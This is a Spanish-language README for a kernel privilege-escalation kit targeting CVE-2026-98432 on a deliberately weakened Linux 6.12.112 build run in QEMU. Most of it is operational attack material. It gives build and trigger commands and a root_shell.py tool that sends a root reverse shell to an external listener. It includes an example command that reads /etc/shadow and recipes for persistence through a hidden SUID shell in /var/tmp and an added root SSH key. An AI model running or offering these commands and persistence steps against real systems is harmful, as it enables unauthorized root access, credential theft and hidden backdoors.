
Kit de shell root de laboratorio para CVE-2026-98432 (kernel aid; no es un exploit remoto estándar)
Este kit compila un kernel Linux 6.12.112 deliberadamente vulnerable con una pequeña ayuda a la explotabilidad y convierte la ruta de CVE-2026-98432 en una shell root interactiva en la consola de QEMU.
Es una ayuda de laboratorio, no un exploit remoto estándar. Se utilizan las rutas de código reales de la CVE:
ip_options_rcu falsificado llega a ip_options_build() a través de la
ruta del SYN-ACK retransmitido;skb_shared_info del SYN-ACK se corrompe;skb_release_data() llama al callback falsificado ubuf_info->ops->complete;call_usermodehelper("/bin/sh", ...).La ayuda consiste en el objeto liberado/falsificado forzado y la cadena de callback/ROP preparada. En un kernel vulnerable estándar, la pieza que falta es la primitiva fiable de recuperación en el mismo slab/misma CPU y de preparación del payload; no está publicada. Véase "Estado en kernel estándar" más abajo.
/dev/kvm) muy recomendado; TCG funciona pero es lentosudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
La primera compilación descarga Linux 6.12.112, revierte las dos llamadas a kfree_rcu(), aplica el aid, compila bzImage, resuelve símbolos/gadgets desde el vmlinux parcheado, recompila, empaqueta un initramfs y arranca QEMU con nokaslr.
Si KVM no está disponible:
QEMU_ACCEL=tcg ./build.sh
(El script actualmente recurre automáticamente a TCG cuando /dev/kvm no es
escribible; la variable QEMU_ACCEL se acepta por comodidad.)
En una segunda terminal en el host:
python3 trigger.py 127.0.0.1 9000
El init del invitado creó /tmp/cve98432_root.sh con un shell de consola
(sh -i </dev/console). Una sola conexión TCP al listener del invitado es
suficiente. La consola del invitado debería mostrar algo como:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
Copia root_shell.py al objetivo (que ya arranca el kernel aid) y
ejecútalo como el usuario que tengas:
python3 root_shell.py
Escribe /tmp/cve98432_root.sh con una carga útil de reverse-shell de root, inicia
dos listeners de loopback (9000 para el trigger, 4444 para la shell), activa
el aid y conecta la shell de root a tu terminal:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
Opciones útiles:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
La cadena de aid llama a machine_power_off() solo después de que el comando root finaliza.
Si el comando root nunca finaliza, el kernel espera en call_usermodehelper()
y el host permanece activo. Eso te permite crear una ruta de root persistente:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
o añade una clave SSH y mantén el helper activo:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
El sleep mantiene vivo al helper de espacio de usuario (y por lo tanto a la cadena del kernel), por lo que el objetivo no se apaga. Use /var/tmp o /root, no /tmp, si /tmp está montado con noexec/nosuid. Cuando termina el sleep, la cadena se reanuda y apaga el host; mate el proceso sleep como root si desea controlar eso.
El archivo de payload se crea con 0700 y O_EXCL|O_NOFOLLOW, y se elimina después de su uso a menos que se especifique --keep-payload. Cuando salga del shell root, la cadena aid llama a machine_power_off(). Use una VM desechable, o edite AID_POWEROFF en aid_patch.py si necesita que el host permanezca encendido.
La cadena ejecuta:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
por lo que el script siempre se ejecuta como root.
| pieza | estado |
|---|---|
ip_options_rcu + ip_options_build() falsificados | ruta de CVE, pero la asignación es forzada por la ayuda |
corrupción de skb_shared_info | la ayuda establece los campos directamente en tcp_v4_send_synack() |
secuestro del callback destructor_arg | ruta de desmontaje real posterior |
pivote ROP + call_usermodehelper() | secuestro real del flujo de control del kernel, preparado por la ayuda |
arranque con nokaslr | simplificación del laboratorio; no se necesita fuga de KASLR |
La investigación independiente publicada que sigue este kit alcanzó el mismo punto con un kernel instrumentado: escritura OOB real y ruta de callback, con liberación/recuperación y preparación de payload asistidas. Una cadena armamentizada para kernel estándar no está disponible públicamente a fecha de 2026-11-02.
La ayuda utiliza direcciones absolutas del kernel porque el invitado arranca con
nokaslr. Los valores en aid_patch.py son los predeterminados de la compilación
de laboratorio 6.12.112 publicada. resolve.py lee el vmlinux parcheado y
System.map y escribe symbols.json; luego build.sh actualiza las definiciones
y recompila.
Si resolve.py no puede encontrar un gadget (ROPgadget ausente o incompleto),
instálalo y vuelve a ejecutar:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
El gadget de pivote debe coincidir con el diseño de la cadena en aid_patch.py: un
lea -0x18(%rbp), %rsp más cuatro pops y un ret/jmp. Si tu compilación tiene
un pivote diferente, ajusta SEND_BLOCK en aid_patch.py o elige un gadget
que coincida.
Un kernel vulnerable de stock no tiene una cadena de root pública, fiable y sin asistencia. Los bloqueos son:
ip_options_rcu liberado de 72 bytes debe reclamarse dentro de la
ventana de liberación a construcción por un objeto con bytes controlados por el atacante. El
objeto saved_syn (TCP_SAVE_SYN) es el candidato natural, pero las
mediciones independientes de laboratorio muestran que la reclamación normalmente recae en otro
bloque de opciones, no en el fragmento en vuelo.srr/rr/ts proporcionan cuatro bytes controlados en un desplazamiento cercano al
búfer skb; escribir un puntero destructor_arg completo de 8 bytes requiere ya sea un
dword alto obsoleto o una primitiva más fuerte.